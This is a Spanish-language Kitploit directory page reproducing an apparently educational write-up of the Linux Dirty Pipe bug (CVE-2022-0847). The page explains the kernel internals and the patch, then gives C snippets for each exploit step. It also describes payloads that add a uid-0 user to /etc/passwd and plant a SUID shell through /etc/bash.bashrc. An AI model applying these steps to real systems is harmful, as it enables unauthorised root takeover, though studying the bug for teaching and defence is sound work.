Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug- — Explotando CVE-2022-0847 - escrito por : Antonius (w1sdom) | Kitploit
Herramientas/GitHubGitHub/bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-
Escalada de PrivilegiosAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónCTFAprendizaje y EducaciónExplotación de BinariosLabs y Práctica

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-

Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug-

Explotando CVE-2022-0847 - escrito por : Antonius (w1sdom)

Ver Repositorio
311hace 7 mesesAún no revisado

Explotación de Dirty Pipe en el Kernel de Linux (Error Lógico)


por: Antonius (w1sdom)
https://www.bluedragonsec.com
https://github.com/bluedragonsecurity

Dirty Pipe (CVE-2022-0847) es una de las vulnerabilidades de seguridad más significativas en el Kernel de Linux 5.8 – 5.15.24, descubierta por Max Kellermann en 2022. Esta vulnerabilidad permite a usuarios ordinarios (sin privilegios especiales) sobrescribir datos en archivos que deberían ser de solo lectura. Entendiendo los Conceptos Clave

Antes de discutir Dirty Pipe en detalle, aquí hay algunos conceptos internos del kernel de Linux que deben entenderse:

1. Paginación
La paginación es un mecanismo de gestión de memoria en el kernel de Linux donde el sistema de memoria divide la memoria física en bloques pequeños de tamaño fijo llamados marcos de página, y la memoria virtual se divide en bloques del mismo tamaño llamados páginas. Este mecanismo permite al kernel mapear el espacio de direcciones virtuales de los procesos a la memoria física de manera no secuencial, lo cual es crucial para la eficiencia y seguridad en los sistemas modernos.

2. Página (Memoria Virtual)
En Linux, una página es la unidad más pequeña de gestión de memoria física manejada por el kernel. Analogía: la RAM es como un libro gigante. Una página es una hoja de papel en ese libro. El kernel no mueve datos bit a bit, sino hoja por hoja (página por página). Generalmente, en arquitecturas de sistemas modernos (como x86_64), el tamaño estándar de una página es de 4 KB (4096 bytes).

3. Caché de Páginas
Esta es una parte crucial. Linux no lee archivos directamente del disco cada vez porque es lento. El kernel copia el contenido de los archivos en la RAM llamada Caché de Páginas.

  • Cuando leemos un archivo, el kernel lo carga en la Caché de Páginas.
  • Si otro proceso quiere leer el mismo archivo, el kernel solo proporciona una referencia a la página que ya existe en esa memoria.
La caché de páginas reside en el espacio del kernel.

4. Buffer de Tubería
La tubería es un mecanismo de Comunicación entre Procesos (IPC). Internamente, el kernel gestiona las tuberías utilizando la estructura de datos pipe_inode_info. Los datos dentro de una tubería se almacenan en un "buffer" llamado Buffer de Tubería.

  • Buffer Circular: El kernel utiliza una estructura circular (anillo) para gestionar este buffer. Un buffer circular es una estructura de datos que utiliza un único array de tamaño fijo como si su final estuviera conectado de vuelta a su inicio. Esto crea un flujo de datos que "rota" sin fin.
  • Banderas: Cada buffer tiene atributos o "banderas" que determinan su comportamiento (por ejemplo, si el buffer puede fusionarse).
El buffer de tubería reside en el espacio del kernel.

5. Bandera del Buffer de Tubería (PIPE_BUF_FLAG_CAN_MERGE)
La bandera PIPE_BUF_FLAG_CAN_MERGE se introdujo en el Kernel de Linux versión 5.8. Aquí es donde reside la vulnerabilidad principal. La bandera llamada PIPE_BUF_FLAG_CAN_MERGE.

  • Su función: le dice al kernel que los nuevos datos escritos en la tubería pueden fusionarse en un buffer existente.
  • El problema: antes de la corrección de Dirty Pipe, el kernel no limpiaba (restablecía) correctamente esta bandera al realizar splice().

6. Splice
splice() es una llamada al sistema para mover datos entre dos descriptores de archivo sin copiar los datos entre el espacio del kernel y el espacio de usuario. A esto a menudo se le llama mecanismo de copia cero. La llamada al sistema splice() es el "actor principal" en Dirty Pipe:

  • En lugar de copiar físicamente los datos, splice() realiza una optimización al hacer que el Buffer de Tubería apunte directamente a la página en la Caché de Páginas.
  • Esto significa que la tubería no contiene una copia de los datos del archivo, sino solo un "puntero" a la memoria física del archivo.

7. Copia en Escritura (CoW)
El mecanismo de Copia en Escritura (CoW) es una estrategia de optimización de gestión de memoria utilizada por el kernel de Linux para retrasar la copia de datos hasta que sea absolutamente necesario. La relación entre Copia en Escritura (CoW) y el exploit Dirty Pipe (CVE-2022-0847) trata sobre cómo un pequeño error en el kernel de Linux logra "engañar" al mecanismo CoW, permitiendo que se escriban datos en archivos que deberían ser de solo lectura.

8. Página Sucia
Una página sucia es una página de memoria en RAM que ha sido modificada por una aplicación, pero los cambios aún no se han escrito de vuelta al almacenamiento secundario (como SSD o disco duro).

Análisis de la Vulnerabilidad Dirty Pipe

Dirty Pipe es un tipo de error lógico en el manejo del buffer de tubería en el kernel de Linux 5.8 hasta el kernel de Linux 5.15.24. El problema principal reside en el mecanismo de Tubería (canal de comunicación entre procesos) y cómo el kernel gestiona la Caché de Páginas (memoria que almacena copias de datos de archivos del disco). El problema central es un error en la bandera PIPE_BUF_FLAG_CAN_MERGE.

El problema principal radica en la falla del kernel al no reinicializar correctamente esta bandera (error lógico). Aquí está el análisis del código: En las funciones copy_page_to_iter_pipe y push_to_pipe en el kernel de Linux anterior a la versión 5.16.11, al realizar operaciones splice, el kernel prepara la estructura pipe_buffer pero olvida limpiar el miembro .flags.

Estructura de Código Vulnerable:

root@kitploit:~
// Ubicación del problema: fs/pipe.c o include/linux/pipe_fs_i.h
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags; // <--- ESTA BANDERA NO SE REINICIA
    unsigned long private;
};

Código Antes del Parche (Vulnerable):

root@kitploit:~
// lib/iov_iter.c - Antes del parche de CVE-2022-0847
static size_t copy_page_to_iter_pipe(struct page *page,
    size_t offset, size_t bytes, struct iov_iter *i) {
    // ---------snip-----------
    struct pipe_buffer *buf = &pipe->bufs[head & mask];
root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEMA: buf->flags NO SE TOCA EN ABSOLUTO
// --------snip----------------------

}

Código Después del Parche (Corregido):

root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
buf->flags = 0; // <--- REINICIO TOTAL A CERO

¿Por qué buf->flags = 0 es mejor que solo desactivar una bandera específica? Porque pipe_buffer es una estructura reutilizada. Si solo desactivamos una bandera (CAN_MERGE), otras banderas basura de usos anteriores de la tubería (como PIPE_BUF_FLAG_GIFT u otras banderas personalizadas) podrían permanecer y causar comportamientos extraños o nuevos agujeros de seguridad en el futuro. Establecerlo a 0 asegura que el buffer esté en un estado completamente "limpio".

¿Por Qué Se Puede Explotar Esto?
Aquí está el flujo de explotación de Dirty Pipe:
1. Etapa de Contaminación: El atacante inserta datos en la tubería mediante write(). Una operación write() normal establecerá buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. Etapa de Vaciado: El atacante lee esos datos. El buffer ahora está lógicamente "vacío", pero su estructura aún existe en la memoria del kernel con la bandera CAN_MERGE aún activa.
3. Etapa de Splice: Cuando la llamada al sistema splice() mapea un archivo de solo lectura a una tubería, se llama a la función copy_page_to_iter_pipe(). Debido al error anterior, llena buf->page con la página de memoria del archivo original pero no reinicia buf->flags.
4. Ejecución: El kernel piensa que este buffer de archivo aún puede fusionarse. La siguiente escritura en la tubería no creará un nuevo buffer, sino que modificará directamente la página de memoria (Caché de Páginas) que se mapeó anteriormente.

En esta etapa, los datos del atacante ya están almacenados en RAM. Una página en RAM cuyo contenido difiere del que está en el disco se llama "Página Sucia". Si se alcanza esta etapa con éxito, ¡significa que la explotación ha tenido éxito! Una vez que la Caché de Páginas cambia, el efecto es instantáneo. Si sobrescribimos /etc/passwd en RAM, podemos ejecutar inmediatamente su root en ese mismo momento.

Explotación de Dirty Pipe

Para la explotación de Dirty Pipe, no necesitamos deshabilitar ninguna protección del kernel porque todas las protecciones del kernel son irrelevantes para prevenir este error lógico. Para explotar el error lógico de Página Sucia, nuestro exploit realizará los siguientes pasos:

Paso 1. Preparar la tubería y llenarla hasta el máximo con el objetivo de activar la bandera PIPE_BUF_FLAG_CAN_MERGE.

root@kitploit:~
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    write(p[1], dummy, n);
    r -= n;
}

Paso 2. Vaciar la tubería.

root@kitploit:~
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    read(p[0], dummy, n);
    r -= n;
}
Paso 3. Usar splice() para insertar datos del archivo objetivo en la tubería.
root@kitploit:~
 
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
    perror("[-] splice failed");
    return 0;
}
Paso 4. Escribir los datos del payload en la tubería.
root@kitploit:~
write(p[1], payload, strlen(payload));

Código de Exploit Completo para la Explotación de Dirty Pipe El código de exploit completo está disponible en https://github.com/bluedragonsecurity/dirtypipe2

Nota: El código de exploit completo contiene funciones para la validación de la versión del kernel, preparación de la tubería, inyección de payload y dos métodos de explotación diferentes dirigidos a /etc/passwd y /etc/bash.bashrc.

Métodos de Explotación

El exploit anterior utiliza 2 payloads diferentes con el objetivo de que si el primer payload falla, sea encadenado por el segundo payload.
Payload 1: Escribe en /etc/passwd para agregar un nuevo usuario llamado 'toor' con uid 0. Si este payload tiene éxito, podemos obtener inmediatamente una shell root.
Payload 2: Intenta colocar una shell bash SUID en /tmp/x. Específicamente para el segundo payload, debe esperar a que el usuario root del sistema inicie sesión porque el payload para colocar la shell SUID se inyecta en /etc/bash.bashrc. En Linux, los comandos contenidos en /etc/bash.bashrc son ejecutados por cada usuario que inicia sesión en el sistema al momento del inicio de sesión.

Prueba del Exploit

En este ejemplo, utilicé el kernel de Linux 5.13 ejecutándose en Lubuntu 20.04.5 en VirtualBox como sistema operativo invitado y el sistema operativo anfitrión es Kali Linux 2025.4. En la máquina Lubuntu 20.04.5, compile el exploit:

root@kitploit:~
gcc -o dirtypipe2 dirtypipe2.c

Ejecute el exploit:
root@kitploit:~
  ./dirtypipe2

y finalmente, obtuvimos una shell root :

Referencias

  • Divulgación original: https://dirtypipe.cm4all.com/
  • CVE-2022-0847: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

• Parche del kernel de Linux: commit 9d2231c5d74e13b2a0546fee6737ee4446017903 • Código del exploit: https://github.com/bluedragonsecurity
Descargar herramienta